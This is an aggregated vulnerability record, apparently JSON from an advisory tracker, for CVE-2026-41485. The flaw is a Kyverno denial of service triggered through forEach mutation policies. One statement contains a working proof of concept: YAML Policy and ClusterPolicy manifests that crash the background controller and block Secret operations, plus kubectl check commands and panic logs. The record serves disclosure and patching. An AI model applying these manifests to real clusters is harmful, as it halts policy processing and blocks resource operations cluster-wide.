{"id":"GHSA-fpjq-c37h-cqcv","revision":null,"records":[{"revision":"50f5e281000d447daa67a1925c30d5c8","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-41485","aliases":[],"title":"Kyverno Controller Denial of Service via forEach Mutation Panic","description":"Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.17.2 and 1.16.4, an unchecked type assertion in the `forEach` mutation handler allows any user with permission to create a `Policy` or `ClusterPolicy` to crash the cluster-wide background controller into a persistent CrashLoopBackOff. The same bug also causes the admission controller to drop connections and block all matching resource operations. The crash loop persists until the policy is deleted. The vulnerability is confined to the legacy engine, and CEL-based policies are unaffected. Versions 1.17.2 and 1.16.4 fix the issue.","state":0,"publishedAt":"2026-04-24T03:27:08.865+00:00","modifiedAt":"2026-04-24T18:53:26.871+00:00","affected":[{"ecosystem":"Vendor product","name":"kyverno","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"kyverno\",\n                    \"product\": \"kyverno\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.16.4\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 1.17.0-rc1, < 1.17.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H","score":7.7,"severity":"HIGH"}],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-fpjq-c37h-cqcv","https://github.com/kyverno/kyverno/commit/76c8fdbe87328722e099e1fd44c3f21c9f7809cb","https://github.com/kyverno/kyverno/commit/80e728c2283a0c65e5adb02d8a907106e6ebe7e3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-41485","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-41485","identifiers":["CVE-2026-41485"]},"retained":false,"historicalAffected":[]},{"revision":"e039ceda68a84c6e959a59981ff43774","observedAt":"2026-11-13T12:00:58.104+00:00","statement":{"source":"euvd","id":"EUVD-2026-25392","aliases":["CVE-2026-41485","GHSA-fpjq-c37h-cqcv"],"title":"Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.17.2 and 1.16.4, an unchecked type assertion in the `forEach` mutation handler allows any user with permission to create a `Policy` or `Clu…","description":"Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.17.2 and 1.16.4, an unchecked type assertion in the `forEach` mutation handler allows any user with permission to create a `Policy` or `ClusterPolicy` to crash the cluster-wide background controller into a persistent CrashLoopBackOff. The same bug also causes the admission controller to drop connections and block all matching resource operations. The crash loop persists until the policy is deleted. The vulnerability is confined to the legacy engine, and CEL-based policies are unaffected. Versions 1.17.2 and 1.16.4 fix the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H","score":7.7,"severity":null}],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-fpjq-c37h-cqcv","https://github.com/kyverno/kyverno/commit/76c8fdbe87328722e099e1fd44c3f21c9f7809cb","https://github.com/kyverno/kyverno/commit/80e728c2283a0c65e5adb02d8a907106e6ebe7e3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-25392","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 24, 2026, 3:27:08 AM","dateUpdated":"Apr 24, 2026, 6:53:26 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-25392","identifiers":["EUVD-2026-25392","CVE-2026-41485","GHSA-fpjq-c37h-cqcv"]},"retained":false,"historicalAffected":[]},{"revision":"867ee45733484073a79935c00473105b","observedAt":"2026-11-12T15:19:01.832+00:00","statement":{"source":"nvd","id":"CVE-2026-41485","aliases":[],"title":"Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.17.2 and 1.16.4, an unchecked type assertion in the `forEach` mutation handler allows any user with permission to create a `Policy` or `Clu…","description":"Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.17.2 and 1.16.4, an unchecked type assertion in the `forEach` mutation handler allows any user with permission to create a `Policy` or `ClusterPolicy` to crash the cluster-wide background controller into a persistent CrashLoopBackOff. The same bug also causes the admission controller to drop connections and block all matching resource operations. The crash loop persists until the policy is deleted. The vulnerability is confined to the legacy engine, and CEL-based policies are unaffected. Versions 1.17.2 and 1.16.4 fix the issue.","state":0,"publishedAt":"2026-04-24T04:16:21.317+00:00","modifiedAt":"2026-11-11T23:10:00.263+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H","score":7.7,"severity":"HIGH"}],"references":["https://github.com/kyverno/kyverno/commit/76c8fdbe87328722e099e1fd44c3f21c9f7809cb","https://github.com/kyverno/kyverno/commit/80e728c2283a0c65e5adb02d8a907106e6ebe7e3","https://github.com/kyverno/kyverno/security/advisories/GHSA-fpjq-c37h-cqcv"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41485","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-617"],"productCriteria":["cpe:2.3:a:kyverno:kyverno:*:-:*:*:*:*:*:*","cpe:2.3:a:kyverno:kyverno:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-04-24T04:16:21.317","lastModified":"2026-11-11T23:10:00.263"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-41485","identifiers":["CVE-2026-41485"]},"retained":false,"historicalAffected":[]},{"revision":"1357fe3bae9941c996f5a8135a53d8eb","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-fpjq-c37h-cqcv","aliases":["BIT-kyverno-2026-41485","CVE-2026-41485","GO-2026-5374"],"title":"Kyverno Controller Denial of Service via forEach Mutation Panic","description":"### Summary\n\nAn unchecked type assertion in the `forEach` mutation handler allows any user with permission to create a `Policy` or `ClusterPolicy` to crash the cluster-wide background controller into a persistent CrashLoopBackOff. The same bug also causes the admission controller to drop connections and block all matching resource operations. The crash loop persists until the policy is deleted. The vulnerability is confined to the legacy engine, and CEL-based policies are unaffected.\n\n### Details\n\nIn `pkg/engine/mutate/mutation.go`, the `ForEach` function performs a bare type assertion on a map value that can be nil:\n\n```go\npatcher := NewPatcher(fe[\"patchStrategicMerge\"], fe[\"patchesJson6902\"].(string))\n```\n\nWhen a `forEach` rule uses a `patchesJson6902` field containing a variable substitution (e.g., `{{ element.nonexistent }}`) that resolves to `nil` at runtime, the type assertion `.(string)` on a nil `interface{}` triggers an unrecoverable Go panic:\n\n```\npanic: interface conversion: interface {} is nil, not string\n```\n\nWhen a `mutateExisting` rule triggers, the admission controller creates an `UpdateRequest` resource that the background controller processes asynchronously. This resource survives controller restarts, re-triggering the panic on every restart until the policy or `UpdateRequest` is deleted.\n\nThe background controller processes `mutateExisting` rules in worker goroutines where `k8s.io/apimachinery/pkg/util/runtime.HandleCrash` catches panics but re-panics by default, killing the process. The admission controller survives because Go's `net/http` server absorbs panics in handler goroutines via  `defer recover()`, though the connection is dropped.\n\nThe vulnerable code was introduced in #10702. Kyverno versions v1.13.0 to v1.17.1 are affected.\n\n### PoC\n\nApply the following manifest:\n\n```yaml\n# --- PoC A: Namespaced Policy crashes the background controller ---\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n  name: poc-background-crash\n  namespace: default\nspec:\n  mutateExistingOnPolicyUpdate: true\n  rules:\n  - name: crash-foreach-nil\n    match:\n      any:\n      - resources:\n          kinds:\n          - ConfigMap\n    mutate:\n      targets:\n      - apiVersion: v1\n        kind: ConfigMap\n        name: poc-target\n        namespace: default\n      foreach:\n      - list: \"target.data | keys(@)\"\n        patchesJson6902: \"{{ element.nonexistent }}\"\n---\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: poc-target\n  namespace: default\ndata:\n  key1: value1\n---\n# This ConfigMap creation triggers the mutateExisting rule via UpdateRequest\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: poc-trigger\n  namespace: default\ndata:\n  trigger: \"true\"\n---\n# --- PoC B: ClusterPolicy panics the admission controller (connection drop) ---\n# Effect: all Secret create/update operations are blocked cluster-wide\n# The admission controller does not crash (net/http recovers), but every\n# matching request gets EOF -> webhook failure -> denied\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: poc-admission-panic\nspec:\n  rules:\n  - name: panic-foreach-nil\n    match:\n      any:\n      - resources:\n          kinds:\n          - Secret\n    mutate:\n      foreach:\n      - list: \"request.object.data | keys(@)\"\n        patchesJson6902: \"{{ element.nonexistent }}\"\n```\n\nVerify:\n\n```bash\n# After ~5 seconds, background controller is in CrashLoopBackOff:\nkubectl get pods -n kyverno -l app.kubernetes.io/component=background-controller\n\n# Admission panic — all Secret operations fail with EOF:\nkubectl create secret generic test-secret --from-literal=key=value\n# Error: failed calling webhook \"mutate.kyverno.svc-fail\": ... EOF\n```\n\nAdmission controller logs:\n\n```\nhttp: panic serving 10.244.0.1:64359: interface conversion: interface {} is nil, not string\ngoroutine 1914 [running]:\nnet/http.(*conn).serve.func1()\n        net/http/server.go:1943 +0xb4\npanic({0x3947fc0?, 0x40023e3890?})\n        runtime/panic.go:783 +0x120\ngithub.com/kyverno/kyverno/pkg/engine/mutate.ForEach({0x394e240?, 0x0?}, {{0x4001c3f300, 0x1d}, 0x0, {0x0, 0x0, 0x0}, 0x0, 0x0, ...}, ...)\n        github.com/kyverno/kyverno/pkg/engine/mutate/mutation.go:81 +0x3e0\ngithub.com/kyverno/kyverno/pkg/engine/handlers/mutation.(*forEachMutator).mutateElements(0x4002609410, {0x4cd78d8, 0x40023b1d10}, {{0x4001c3f300, 0x1d}, 0x0, {0x0, 0x0, 0x0}, 0x0, ...}, ...)\n        github.com/kyverno/kyverno/pkg/engine/handlers/mutation/common.go:126 +0x4e8\ngithub.com/kyverno/kyverno/pkg/engine/handlers/mutation.(*forEachMutator).mutateForEach(0x4002609410, {0x4cd78d8, 0x40023b1d10})\n...\n```\n\n### Impact\n\nPersistent denial of service of cluster-wide Kyverno controllers. `Policy` is a namespaced resource whose creation can be delegated to namespace users via standard Role/RoleBinding, without granting any cluster-level permissions. Such a user can:\n\n1. Crash the background controller into a persistent CrashLoopBackOff, halting all background processing (generate rules, mutateExisting rules, cleanup) across all namespaces in the cluster, not just their own.\n2. Block admission operations for matched resource kinds within their namespace via the admission controller webhook panic path. With a `ClusterPolicy` (requiring cluster-level RBAC), the admission block extends cluster-wide.\n\nThe crash loop is self-sustaining because the poisoned `UpdateRequest` remains in the queue and re-triggers the panic on every controller restart.","state":0,"publishedAt":"2026-04-24T20:40:39+00:00","modifiedAt":"2026-09-10T03:50:44.1915036+00:00","affected":[{"ecosystem":"Go","name":"github.com/kyverno/kyverno","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.13.0"},{"kind":"fixed","version":"1.16.4"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/kyverno/kyverno","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.17.0-rc.1"},{"kind":"fixed","version":"1.17.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-fpjq-c37h-cqcv","https://nvd.nist.gov/vuln/detail/CVE-2026-41485","https://github.com/kyverno/kyverno/commit/76c8fdbe87328722e099e1fd44c3f21c9f7809cb","https://github.com/kyverno/kyverno/commit/80e728c2283a0c65e5adb02d8a907106e6ebe7e3","https://github.com/kyverno/kyverno"],"sourceUrl":"https://github.com/advisories/GHSA-fpjq-c37h-cqcv","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-fpjq-c37h-cqcv","identifiers":["GHSA-fpjq-c37h-cqcv","BIT-kyverno-2026-41485","CVE-2026-41485","GO-2026-5374"]},"retained":false,"historicalAffected":[]},{"revision":"76414fd7b7fb4f19b6ca38a76d8323fc","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5374","aliases":["BIT-kyverno-2026-41485","CVE-2026-41485","GHSA-fpjq-c37h-cqcv"],"title":"Kyverno Controller Denial of Service via forEach Mutation Panic in github.com/kyverno/kyverno","description":"Kyverno Controller Denial of Service via forEach Mutation Panic in github.com/kyverno/kyverno","state":0,"publishedAt":"2026-06-25T18:43:19+00:00","modifiedAt":"2026-06-29T18:29:26.8043766+00:00","affected":[{"ecosystem":"Go","name":"github.com/kyverno/kyverno","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.13.0"},{"kind":"fixed","version":"1.16.4"},{"kind":"introduced","version":"1.17.0-rc.1"},{"kind":"fixed","version":"1.17.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-fpjq-c37h-cqcv","https://nvd.nist.gov/vuln/detail/CVE-2026-41485","https://github.com/kyverno/kyverno/commit/76c8fdbe87328722e099e1fd44c3f21c9f7809cb","https://github.com/kyverno/kyverno/commit/80e728c2283a0c65e5adb02d8a907106e6ebe7e3"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5374","license":"OSV · upstream source license applies","key":"osv:GO-2026-5374","identifiers":["GO-2026-5374","BIT-kyverno-2026-41485","CVE-2026-41485","GHSA-fpjq-c37h-cqcv"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T11:05:17.2943378+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T11:05:17.2943378+00:00","lastSuccessAt":"2026-11-15T11:05:17.4673918+00:00","error":null,"lastVerifiedAt":"2026-11-15T11:05:17.4673928+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-f90179050d1e68c26defb06294e68ca9aad67fa6285a72a309f2510089445b08","complete":true,"records":425787,"lastAttemptAt":"2026-11-15T11:01:58.8542146+00:00","lastSuccessAt":"2026-11-15T11:01:58.8389797+00:00","error":null,"lastVerifiedAt":"2026-11-15T11:01:58.8542146+00:00","snapshotPublishedAt":"2026-11-15T10:28:09+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-f981543109394c8f9b3df5737aa835e7","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T11:15:00.6236179+00:00","lastSuccessAt":"2026-11-15T11:15:00.619+00:00","error":"257 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T11:15:00.619+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13558,"expectedIdentifiers":13874,"failedIdentifiers":257},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T11:05:17.2943378+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T11:05:17.2943378+00:00","lastSuccessAt":"2026-11-15T11:05:17.4693563+00:00","error":null,"lastVerifiedAt":"2026-11-15T11:05:17.4693566+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-d33b5144615b488f88b7a7390696bc39","complete":true,"records":13833,"lastAttemptAt":"2026-11-15T11:05:18.0594066+00:00","lastSuccessAt":"2026-11-15T10:02:36.038+00:00","error":null,"lastVerifiedAt":"2026-11-15T10:02:36.038+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T11:05:12.198625+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T11:05:12.198625+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T11:01:59.0034935+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T11:01:59.0034935+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T11:05:17.2566792+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-15T11:05:17.2566792+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ff18f36f13fcca3a20a3fb9274b59b8872d18869a99071730e1e79b625c8f612","complete":true,"records":232475,"lastAttemptAt":"2026-11-15T11:05:12.0533004+00:00","lastSuccessAt":"2026-11-15T11:05:10.4195883+00:00","error":null,"lastVerifiedAt":"2026-11-15T11:05:12.0533004+00:00","snapshotPublishedAt":"2026-11-15T10:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}